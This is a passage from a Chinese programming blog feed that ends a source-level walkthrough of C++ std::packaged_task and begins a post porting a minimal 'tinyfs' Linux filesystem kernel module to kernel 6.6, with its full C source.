&lt;li&gt;代码行&lt;code&gt;22~29&lt;&#x2F;code&gt;：同样，通过调用&lt;code&gt;future&lt;&#x2F;code&gt;对象内部的成员函数&lt;code&gt;get&lt;&#x2F;code&gt;来获取上面那个通过函数创建的&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象异步执行的结果信息，由于函数内部抛出了异常，这个异常信息会存储在&lt;code&gt;future&lt;&#x2F;code&gt;对象关联的对象中，当代码行&lt;code&gt;24&lt;&#x2F;code&gt;行调用&lt;code&gt;get&lt;&#x2F;code&gt;方法的时候，该异常会在当前线程被重新抛出，所以这里用&lt;code&gt;try-catch&lt;&#x2F;code&gt;对这个异常信息进行捕获，并且在代码行&lt;code&gt;28&lt;&#x2F;code&gt;对该异常信息进行打印&lt;&#x2F;li&gt;
&lt;li&gt;代码行&lt;code&gt;32~33&lt;&#x2F;code&gt;：调用进行异步调用执行的两个线程的&lt;code&gt;join&lt;&#x2F;code&gt;成员函数，对这两个线程进行&lt;code&gt;join&lt;&#x2F;code&gt;，此时主线程（&lt;code&gt;main&lt;&#x2F;code&gt;函数执行的线程）会等待这两个线程退出之后，再接着向下运行&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;终端输出如下图所示&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt; 15
 test exception
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面我们以上面代码行&lt;code&gt;13&lt;&#x2F;code&gt;为例，来具体看一下，&lt;code&gt;package_task&lt;&#x2F;code&gt;的构建。为了方便阅读，将上面的代码行&lt;code&gt;13&lt;&#x2F;code&gt;重新贴出如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt; std::packaged_task&amp;lt;int(const std::vector&amp;lt;int&amp;gt;&amp;amp;)&amp;gt; lambda_pask_task(sum_labmda);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先，类模版&lt;code&gt;packaged_task&lt;&#x2F;code&gt;需要传入一个模版参数，这里传入的是&lt;code&gt;int(const std::vector&amp;lt;int&amp;gt;&amp;amp;)&lt;&#x2F;code&gt;，该参数是用来告诉&lt;code&gt;packaged_task&lt;&#x2F;code&gt;其接受的可调用对象对应的函数调用签名是什么，这里第&lt;code&gt;1&lt;&#x2F;code&gt;个&lt;code&gt;int&lt;&#x2F;code&gt;是用来代表可调用对象返回值类型是&lt;code&gt;int&lt;&#x2F;code&gt;，其接受一个&lt;code&gt;const std::vector&amp;lt;int&amp;gt;&amp;amp;&lt;&#x2F;code&gt;类型的实参。然后，将这个可调用对象通过构造函数的形参传入&lt;&#x2F;p&gt;
&lt;p&gt;下面，我们从源码的角度讨论一下，&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对应的源码实现&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-ma-shi-xian-fen-xi&quot;&gt;&lt;strong&gt;源码实现分析&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;下面，我们基于&lt;code&gt;clang&lt;&#x2F;code&gt;平台中关于&lt;code&gt;packaged_task&lt;&#x2F;code&gt;的代码实现。下面的源码分析仅仅讨论上面用例相关的代码，其他代码如果有感兴趣的可以到网络上自行下载源码查看&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shu-ju-cheng-yuan&quot;&gt;&lt;strong&gt;数据成员&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;首先，我们先看一下&lt;code&gt;packaged_task&lt;&#x2F;code&gt;的内部数据成员的定义，具体如下截图&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-a54ef5ea08e20753ed083a9da7e9ff8b_b-20231227143335-t9udyp6.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;从上面代码可知，其内部有两个数据成员在代码行&lt;code&gt;8~9&lt;&#x2F;code&gt;定义，具体说明如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;代码行&lt;code&gt;8&lt;&#x2F;code&gt;：定义一个用来保存构建时外部传入的可调用对象的内部成员变量&lt;code&gt;_f&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;代码行&lt;code&gt;9&lt;&#x2F;code&gt;：定义一个&lt;code&gt;promise&lt;&#x2F;code&gt;对象，该对象用来设置异步调用结果信息（异步调用的返回值或者异步调用过程中抛出的异常）到其关联的共享状态对象（关联状态对象）中，以供其他线程通过&lt;code&gt;future::get&lt;&#x2F;code&gt;来从其和该&lt;code&gt;promise&lt;&#x2F;code&gt;对象共同关联的共享状态对象中获取异步调用结果信息&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过上面的讨论，目前有几个关键对象：&lt;code&gt;thread&lt;&#x2F;code&gt;线程对象、&lt;code&gt;future&lt;&#x2F;code&gt;对象、&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象、&lt;code&gt;promise&lt;&#x2F;code&gt;对象以及共享状态对象（关联状态对象），下面通过一个图示，来讨论一下这些对象之间的关系&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-372c6e2d46c4fb36d9cb1a243b05ae01_b-20231227143335-69g4ixb.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如上图所示，主线程中持有的&lt;code&gt;future&lt;&#x2F;code&gt;对象和用于执行异步任务的线程中持有的&lt;code&gt;promise&lt;&#x2F;code&gt;对象，都关联了一个相同的共享状态对象。&lt;code&gt;future&lt;&#x2F;code&gt;对象和&lt;code&gt;promise&lt;&#x2F;code&gt;对象，通过其共同关联的共享状态来进行异步调用结果同步&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gou-zao-han-shu&quot;&gt;&lt;strong&gt;构造函数&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;下面，我们看一下&lt;code&gt;packaged_task&lt;&#x2F;code&gt;的构造相关的源码，如下图所示&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-4427adaffe3be4e6136b72c29a86a19e_b-20231227143335-ypv5u9i.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;该函数接受一个&lt;code&gt;_Fp&lt;&#x2F;code&gt;类型的一个万能引用的参数，并且在函数的内部通过&lt;code&gt;forward&lt;&#x2F;code&gt;函数对改万能引用参数进行完美转发，对内部成员&lt;code&gt;_f&lt;&#x2F;code&gt;进行赋值。这里&lt;code&gt;_Fp&lt;&#x2F;code&gt;类型是一个模版参数，是一个泛型，使得类模版&lt;code&gt;packaged_task&lt;&#x2F;code&gt;包装不同类型的可调用对象，比如前边示例中提到的&lt;code&gt;lambda&lt;&#x2F;code&gt;和&lt;code&gt;function&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;代码行&lt;code&gt;2~8&lt;&#x2F;code&gt;：用来限制传入传入的实参对应的类型&lt;code&gt;_Fp&lt;&#x2F;code&gt;的。首先在代码行&lt;code&gt;4~7&lt;&#x2F;code&gt;，通过&lt;code&gt;is_same&lt;&#x2F;code&gt;检测通过对&lt;code&gt;_Fp&lt;&#x2F;code&gt;类型移除&lt;code&gt;const&lt;&#x2F;code&gt;、&lt;code&gt;voliate&lt;&#x2F;code&gt;以及&lt;code&gt;reference&lt;&#x2F;code&gt;信息之后得到的最基本的类型和&lt;code&gt;packaged_task&lt;&#x2F;code&gt;类型进行比较，如果是相同的类型则&lt;code&gt;is_same&lt;&#x2F;code&gt;模版实例中的&lt;code&gt;value&lt;&#x2F;code&gt;值为&lt;code&gt;true&lt;&#x2F;code&gt;，否则为&lt;code&gt;false&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当&lt;code&gt;_Fp&lt;&#x2F;code&gt;对应的基础类型不是&lt;code&gt;packaged_task&lt;&#x2F;code&gt;类型的时候，此时&lt;code&gt;enable_if&lt;&#x2F;code&gt;接受到的&lt;code&gt;nontype&lt;&#x2F;code&gt;模版参数的值就是&lt;code&gt;true&lt;&#x2F;code&gt;，此时内部有&lt;code&gt;type&lt;&#x2F;code&gt;类型定义，此时可以匹配到该构造函数&lt;&#x2F;p&gt;
&lt;p&gt;当&lt;code&gt;_Fp&lt;&#x2F;code&gt;对应的基础类型不是&lt;code&gt;packaged_task&lt;&#x2F;code&gt;类型的时候，此时&lt;code&gt;enable_if&lt;&#x2F;code&gt;接受到的&lt;code&gt;nontype&lt;&#x2F;code&gt;模版参数的值就是&lt;code&gt;false&lt;&#x2F;code&gt;，此时内部没有&lt;code&gt;type&lt;&#x2F;code&gt;，此时匹配该构造函数失败&lt;&#x2F;p&gt;
&lt;p&gt;即通过代码行&lt;code&gt;2~8&lt;&#x2F;code&gt;来限制了传入参数的类型，不能接受一个&lt;code&gt;packaged_task&lt;&#x2F;code&gt;可调用类型，即不能通过其他&lt;code&gt;packaged_task&lt;&#x2F;code&gt;类型来构造自身&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ke-yi-dong-bu-ke-fu-zhi&quot;&gt;&lt;strong&gt;可移动，不可复制&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;之所以要限制不能从其他的&lt;code&gt;packaged_task&lt;&#x2F;code&gt;来构造（&lt;strong&gt;以复制的方式&lt;&#x2F;strong&gt;）自身的原因是因为，&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象往往都关联一个共享状态对象，这里存在着一个链式的关联关系，即&lt;code&gt;packaged_task -&amp;gt; 共享状态对象 -&amp;gt; future&lt;&#x2F;code&gt;。而通过其他的&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象构建新的&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象，将会打破这个关联关系。从而影响数据的传递和线程之间的同步&lt;&#x2F;p&gt;
&lt;p&gt;实际上，可以通过移动的方式从其他的&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象来构造自身，因为移动的方式不会破坏上面提到的那个链式的关联关系。对应的源代码如下&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-b0b1f4866274bbc258bb3a55763df27b_b-20231227143335-niel9xw.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;代码行&lt;code&gt;2~3&lt;&#x2F;code&gt;：删除了拷贝构造函数和复制赋值函数，从而避免&lt;code&gt;packaged_task&lt;&#x2F;code&gt;的复制&lt;&#x2F;li&gt;
&lt;li&gt;代码行&lt;code&gt;7~15&lt;&#x2F;code&gt;：定义了移动构造函数和移动赋值函数，支持&lt;code&gt;package_task&lt;&#x2F;code&gt;的移动&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;han-shu-diao-yong-cao-zuo-fu&quot;&gt;&lt;strong&gt;函数调用操作符&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当一个可调用对象包装成了一个&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象之后，该对象将交给&lt;code&gt;thread&lt;&#x2F;code&gt;线程对象来进行执行。&lt;code&gt;thread&lt;&#x2F;code&gt;对象在通过&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象调用其内部保存的可调用对象的时候，就是通过调用&lt;code&gt;packaged_task&lt;&#x2F;code&gt;的函数调用操作符号来实现的&lt;&#x2F;p&gt;
&lt;p&gt;本质上，&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象也是一个可调用对象，&lt;code&gt;thread&lt;&#x2F;code&gt;对象接受并执行的就是一个可调用对象&lt;&#x2F;p&gt;
&lt;p&gt;下面，我们看一下代码实现，如下图所示&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-373226d0bfbc101eec1d9f8793119006_b-20231227143335-jys2953.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;代码行&lt;code&gt;5~6&lt;&#x2F;code&gt;：判断内部&lt;code&gt;promise&lt;&#x2F;code&gt;对象&lt;code&gt;_p&lt;&#x2F;code&gt;是否关联共享状态，如果未关联共享状态，即&lt;code&gt;_p_.__state&lt;&#x2F;code&gt;指针为空，则抛出异常。在这正常构建&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象的时候，是不会出现&lt;code&gt;_p_.__state&lt;&#x2F;code&gt;为空的情况，因为&lt;code&gt;promise&lt;&#x2F;code&gt;在默认构造函数中，会创建共享状态对象，并将该共享状态对象的地址赋值给内部的&lt;code&gt;_state&lt;&#x2F;code&gt;指针。只有在移动&lt;code&gt;package_task&lt;&#x2F;code&gt;对象的时候，才会出现这种情况&lt;&#x2F;li&gt;
&lt;li&gt;代码行&lt;code&gt;7~8&lt;&#x2F;code&gt;：判断内部的&lt;code&gt;promise&lt;&#x2F;code&gt;对象是否已经被设置值，如果已经被设置值，则抛出异常。这种情况通常会出现在一个&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象被多次执行的时候&lt;&#x2F;li&gt;
&lt;li&gt;代码行&lt;code&gt;10~19&lt;&#x2F;code&gt;：在代码行&lt;code&gt;13&lt;&#x2F;code&gt;中，对&lt;code&gt;_f&lt;&#x2F;code&gt;进行函数调用操作，执行异步调用任务。当函数调用完成的时候，将返回值设置到&lt;code&gt;_p&lt;&#x2F;code&gt;共享状态对象中。如果在可调用对象执行过程中出现了异常抛出的情况是，通过&lt;code&gt;try-catch&lt;&#x2F;code&gt;对该异常进行捕获，并且将该异常信息设置到&lt;code&gt;_p&lt;&#x2F;code&gt;共享状态对象中&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;get-futurehan-shu&quot;&gt;&lt;strong&gt;get_future函数&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;通过调用&lt;code&gt;packaged_task&lt;&#x2F;code&gt;的成员函数&lt;code&gt;get_future&lt;&#x2F;code&gt;，来获取用来查询异步调用结果信息的&lt;code&gt;future&lt;&#x2F;code&gt;对象，源码如下所示&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;v2-2e3000666651d506fcbf7853021dd7ec_b-20231227143335-h8v4se2.jpg&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;通过调用内部的&lt;code&gt;promise&lt;&#x2F;code&gt;对象&lt;code&gt;_p&lt;&#x2F;code&gt;的成员函数，来获取一个和该&lt;code&gt;promise&lt;&#x2F;code&gt;对象关联同一个共享状态对象的&lt;code&gt;future&lt;&#x2F;code&gt;对象并返回&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-ti-liu-cheng&quot;&gt;&lt;strong&gt;总体流程&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;最后，经过上面的讨论我们已经讨论了完整的&lt;code&gt;packaged_task&lt;&#x2F;code&gt;的工作流程，下面我们总体的梳理一下&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;在主线程中，通过&lt;code&gt;packaged_task&lt;&#x2F;code&gt;类模版对可调用对象进行封装，封装成一个&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象&lt;&#x2F;li&gt;
&lt;li&gt;通过调用&lt;code&gt;packaged_task&lt;&#x2F;code&gt;可调用对象的&lt;code&gt;get_future&lt;&#x2F;code&gt;函数，获取对应的&lt;code&gt;future&lt;&#x2F;code&gt;对象，用来之后获取异步调用的结果信息&lt;&#x2F;li&gt;
&lt;li&gt;将该&lt;code&gt;packaged_task&lt;&#x2F;code&gt;对象交给其他线程执行&lt;&#x2F;li&gt;
&lt;li&gt;其他线程执行该&lt;code&gt;packaged_task&lt;&#x2F;code&gt;可调用对象&lt;&#x2F;li&gt;
&lt;li&gt;在&lt;code&gt;packaged_task&lt;&#x2F;code&gt;可调用对象执行过程中，对内部存储的异步操作对应的可操作对象进行函数调用。调用完成之后，将调用结果信息设置到共享状态对象中&lt;&#x2F;li&gt;
&lt;li&gt;主线程中通过调用&lt;code&gt;future&lt;&#x2F;code&gt;对象的&lt;code&gt;get&lt;&#x2F;code&gt;成员函数，从其关联的共享状态对象中获取异步调用的结果信息。如果此时异步调用已经执行完成，则该函数立刻返回异步调用结果信息。如果没有执行完成，此时将阻塞，直到异步调用执行完成&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>一个300行的文件系统（基于linux6.6）</title>
        <published>2023-12-27T00:00:00+00:00</published>
        <updated>2023-12-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/一个300行的文件系统-基于linux6.6/"/>
        <id>https://vercel.juzhong.asia/obsidian/一个300行的文件系统-基于linux6.6/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/一个300行的文件系统-基于linux6.6/">&lt;h1 id=&quot;yi-ge-300xing-de-wen-jian-xi-tong-ji-yu-linux6-6&quot;&gt;一个300行的文件系统（基于linux6.6）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yi-bei-jing&quot;&gt;一、背景&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;     其实这是一个很久就看过的文章，但是由于是在微信上看到的，下来一直没有机会试一下，久而久之就遗忘了，最近在知乎上又看到这篇（当然是剽窃的，知乎最近这种抄别人劳作的风气越來越重了，本来想举报一下，结果又要侵权本人提供证据，被侵权的文章也不是我写的，我也就没法提供证据举报了）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原文链接（感谢作者提供了一个非常好的例子）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s%3F__biz%3DMzg2OTc0ODAzMw%3D%3D%26mid%3D2247502337%26idx%3D1%26sn%3D7f6ec62aa4a6edd0ff80f7c7d8dd08a5%26source%3D41%23wechat_redirect&quot;&gt;300来行代码带你实现一个能跑的最小Linux文件系统&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于原作者的示例是基于一个比较老的linux 内核版本，在新版本上有较多编译报错，大部分是结构体的变化，比较大一点的是tinyfs_readdir 接口的变化&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ban-ben-yi&quot;&gt;版本一：&lt;&#x2F;h3&gt;
&lt;p&gt;（这一版本只是处理了编译报错相关的问题，主体部分未做修改）&lt;&#x2F;p&gt;
&lt;p&gt;tinyfs.h&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#define MAXLEN 8
#define MAX_FILES 32
#define MAX_BLOCKSIZE 512

&amp;#x2F;&amp;#x2F;define the dir
struct dir_entry {
    char filename[MAXLEN];
    uint8_t idx;
};

&amp;#x2F;&amp;#x2F;define the file block
struct file_blk {
    uint8_t busy;
    mode_t mode;
    uint8_t idx;

    union {
        uint8_t file_size;
        uint8_t dir_children;
    };
    char data[0];
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;tinyfs.c&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;linux&amp;#x2F;init.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;module.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;fs.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;uaccess.h&amp;gt;

#include &amp;quot;tinyfs.h&amp;quot;

struct file_blk block[MAX_FILES+1];

int curr_count = 0;

static int get_block(void)
{
    int i;
    for( i = 2; i &amp;lt; MAX_FILES; i++) {
        if (!block[i].busy) {
            block[i].busy = 1;
            return i;
        }
    }

    return -1;
}

static struct inode_operations tinyfs_inode_ops;

static int tinyfs_readdir(struct file *filp, struct dir_context *ctx)
{

    loff_t pos;
    struct file_blk  *blk;
    struct dir_entry *entry;
	struct dentry *dentry = filp-&amp;gt;f_path.dentry;

    int i;

	if (!dir_emit_dots(filp, ctx))
		return 0;

    pos = filp-&amp;gt;f_pos;

    if (pos)
        return 0;

    blk = (struct file_blk*)dentry-&amp;gt;d_inode-&amp;gt;i_private;

    if (!S_ISDIR(blk-&amp;gt;mode)) {
        return -ENOTDIR;
    }

    &amp;#x2F;&amp;#x2F;loop get one dir included file name
    entry = (struct dir_entry *)&amp;amp;blk-&amp;gt;data[0];
    for (i = 0; i &amp;lt; blk-&amp;gt;dir_children; i++) {
        if (!dir_emit(ctx, entry[i].filename, strlen(entry[i].filename),
			      entry[i].idx,
			      DT_UNKNOWN))
			break;
        filp-&amp;gt;f_pos += sizeof(struct dir_entry);
        pos += sizeof(struct dir_entry);

    }

	return 0;
}

ssize_t tinyfs_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos)
{
    struct file_blk *blk;
    char *buffer;

    blk = (struct file_blk*)filp-&amp;gt;f_path.dentry-&amp;gt;d_inode-&amp;gt;i_private;

    if (*ppos &amp;gt;= blk-&amp;gt;file_size)
        return 0;

    buffer = (char *)&amp;amp;blk-&amp;gt;data[0];
    len = min((size_t)blk-&amp;gt;file_size, len);

    if (copy_to_user(buf, buffer, len)) {
        return -EFAULT;
    }
    *ppos += len;

    return len;
}

ssize_t tinyfs_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
{
    struct file_blk *blk;
    char *buffer;

    blk = filp-&amp;gt;f_path.dentry-&amp;gt;d_inode-&amp;gt;i_private;

    buffer = (char *)&amp;amp;blk-&amp;gt;data[0];
    buffer += *ppos;

    if (copy_from_user(buffer, buf, len)) {
        return -EFAULT;
    }

    *ppos += len;
    blk-&amp;gt;file_size = *ppos;

    return len;
}

const struct file_operations tinyfs_file_operations = {
    .read = tinyfs_read,
    .write = tinyfs_write,
};

static const struct file_operations tinyfs_dir_operations = {
    .owner = THIS_MODULE,
    .read		= generic_read_dir,
    .iterate_shared	= tinyfs_readdir,
};

&amp;#x2F;&amp;#x2F;create file
static int tinyfs_do_create(struct mnt_idmap *idmap, struct inode *dir, struct dentry *dentry, umode_t mode)
{
    struct inode *inode;
    struct super_block *sb;
    struct dir_entry *entry;
    struct file_blk *blk, *pblk;
    int idx;

    sb = dir-&amp;gt;i_sb;

    if (curr_count &amp;gt;= MAX_FILES) {
        return -ENOSPC;
    }

    if (!S_ISDIR(mode) &amp;amp;&amp;amp; !S_ISREG(mode)) {
        return -EINVAL;
    }

    inode = new_inode(sb);

    if (!inode) {
        return -ENOMEM;
    }

    inode-&amp;gt;i_sb = sb;
    inode-&amp;gt;i_op = &amp;amp;tinyfs_inode_ops;
    inode-&amp;gt;i_atime = inode-&amp;gt;i_mtime = inode_set_ctime_current(inode);

    idx = get_block(); &amp;#x2F;&amp;#x2F;get free block save new file

    blk = &amp;amp;block[idx];
    inode-&amp;gt;i_ino = idx;
    blk-&amp;gt;mode = mode;
    curr_count ++;

    if (S_ISDIR(mode)) {
        blk-&amp;gt;dir_children = 0;
        inode-&amp;gt;i_fop = &amp;amp;tinyfs_dir_operations;
    } else if (S_ISREG(mode)) {
        blk-&amp;gt;file_size = 0;
        inode-&amp;gt;i_fop = &amp;amp;tinyfs_file_operations;
    }

    inode-&amp;gt;i_private = blk;
    pblk = (struct file_blk *)dir-&amp;gt;i_private;

    entry = (struct dir_entry *)&amp;amp;pblk-&amp;gt;data[0];
    entry += pblk-&amp;gt;dir_children;
    pblk-&amp;gt;dir_children ++;

    entry-&amp;gt;idx = idx;
    strcpy(entry-&amp;gt;filename, dentry-&amp;gt;d_name.name);

    inode_init_owner(&amp;amp;nop_mnt_idmap, inode, dir, mode);
    d_add(dentry, inode);

    return 0;
}

static int tinyfs_mkdir(struct mnt_idmap *idmap, struct inode *dir, struct dentry *dentry, umode_t mode)
{
    return tinyfs_do_create(&amp;amp;nop_mnt_idmap, dir, dentry, S_IFDIR | mode);
}

static int tinyfs_create(struct mnt_idmap *idmap, struct inode *dir, struct dentry *dentry, umode_t mode, bool excl)
{
    return tinyfs_do_create(&amp;amp;nop_mnt_idmap, dir, dentry, mode);
}

static struct inode * tinyfs_iget(struct super_block *sb, int idx)
{
    struct inode *inode;
    struct file_blk *blk;

    inode = new_inode(sb);
    inode-&amp;gt;i_ino = idx;
    inode-&amp;gt;i_sb = sb;
    inode-&amp;gt;i_op = &amp;amp;tinyfs_inode_ops;

    blk = &amp;amp;block[idx];

    if (S_ISDIR(blk-&amp;gt;mode))
        inode-&amp;gt;i_fop = &amp;amp;tinyfs_dir_operations;
    else if (S_ISREG(blk-&amp;gt;mode))
        inode-&amp;gt;i_fop = &amp;amp;tinyfs_file_operations;

    inode-&amp;gt;i_atime = inode-&amp;gt;i_mtime  = inode_set_ctime_current(inode);
    inode-&amp;gt;i_private = blk;

    return inode;
}

struct dentry *tinyfs_lookup(struct inode *parent_inode, struct dentry *child_dentry, unsigned int flags)
{
    struct super_block *sb = parent_inode-&amp;gt;i_sb;
    struct file_blk *blk;
    struct dir_entry *entry;
    int i;

    blk = (struct file_blk *)parent_inode-&amp;gt;i_private;
    entry = (struct dir_entry *)&amp;amp;blk-&amp;gt;data[0];
    for (i = 0; i &amp;lt; blk-&amp;gt;dir_children; i++) {
        if (!strcmp(entry[i].filename, child_dentry-&amp;gt;d_name.name)) {
            struct inode *inode = tinyfs_iget(sb, entry[i].idx);
            struct file_blk *inner = (struct file_blk*)inode-&amp;gt;i_private;
            inode_init_owner(&amp;amp;nop_mnt_idmap, inode, parent_inode, inner-&amp;gt;mode);
            d_add(child_dentry, inode);
            return NULL;
        }
    }

    return NULL;
}

int tinyfs_rmdir(struct inode *dir, struct dentry *dentry)
{
    struct inode *inode = dentry-&amp;gt;d_inode;
    struct file_blk *blk = (struct file_blk*) inode-&amp;gt;i_private;

    blk-&amp;gt;busy = 0;
    return simple_rmdir(dir, dentry);
}

int tinyfs_unlink(struct inode *dir, struct dentry *dentry)
{
    int i;
    struct inode *inode = dentry-&amp;gt;d_inode;
    struct file_blk *blk = (struct file_blk *)inode-&amp;gt;i_private;
    struct file_blk *pblk = (struct file_blk *)dir-&amp;gt;i_private;
    struct dir_entry *entry;

    entry = (struct dir_entry*)&amp;amp;pblk-&amp;gt;data[0];
    for (i = 0; i &amp;lt; pblk-&amp;gt;dir_children; i++) {
        if (!strcmp(entry[i].filename, dentry-&amp;gt;d_name.name)) {
            int j;
            for (j = i; j &amp;lt; pblk-&amp;gt;dir_children - 1; j++) {
                memcpy(&amp;amp;entry[j], &amp;amp;entry[j+1], sizeof(struct dir_entry));
            }
            pblk-&amp;gt;dir_children --;
            break;
        }
    }

    blk-&amp;gt;busy = 0;
    return simple_unlink(dir, dentry);
}

static struct inode_operations tinyfs_inode_ops = {
    .create = tinyfs_create,
    .lookup = tinyfs_lookup,
    .mkdir = tinyfs_mkdir,
    .rmdir = tinyfs_rmdir,
    .unlink = tinyfs_unlink,
};

int tinyfs_fill_super(struct super_block *sb, void *data, int silent)
{
    struct inode *root_inode;
    umode_t mode = S_IFDIR;

    root_inode = new_inode(sb);
    root_inode-&amp;gt;i_ino = 1;
    inode_init_owner(&amp;amp;nop_mnt_idmap, root_inode, NULL, mode);
    root_inode-&amp;gt;i_sb = sb;
    root_inode-&amp;gt;i_op = &amp;amp;tinyfs_inode_ops;
    root_inode-&amp;gt;i_fop = &amp;amp;tinyfs_dir_operations;
    root_inode-&amp;gt;i_atime = root_inode-&amp;gt;i_mtime = inode_set_ctime_current(root_inode);

    block[1].mode = mode;
    block[1].dir_children = 0;
    block[1].idx = 1;
    block[1].busy = 1;
    root_inode-&amp;gt;i_private = &amp;amp;block[1];

    sb-&amp;gt;s_root = d_make_root(root_inode);
    curr_count ++;

    return 0;
}

static struct dentry *tinyfs_mount(struct file_system_type *fs_type, int flags, const char* dev_name, void *data)
{
    return mount_nodev(fs_type, flags, data, tinyfs_fill_super);
}

static void tinyfs_kill_superblock(struct super_block *sb)
{
    kill_anon_super(sb);
}

struct file_system_type tinyfs_fs_type = {
    .owner = THIS_MODULE,
    .name = &amp;quot;tinyfs&amp;quot;,
    .mount = tinyfs_mount,
    .kill_sb = tinyfs_kill_superblock,
};

static int tinyfs_init(void)
{
    int ret;

    memset(block, 0, sizeof(block));
    ret = register_filesystem(&amp;amp;tinyfs_fs_type);

    if (ret)
        pr_info(&amp;quot;register tinyfs filesystem failed\n&amp;quot;);

    return ret;
}

static void tinyfs_exit(void)
{
    unregister_filesystem(&amp;amp;tinyfs_fs_type);
}

module_init(tinyfs_init);
module_exit(tinyfs_exit);

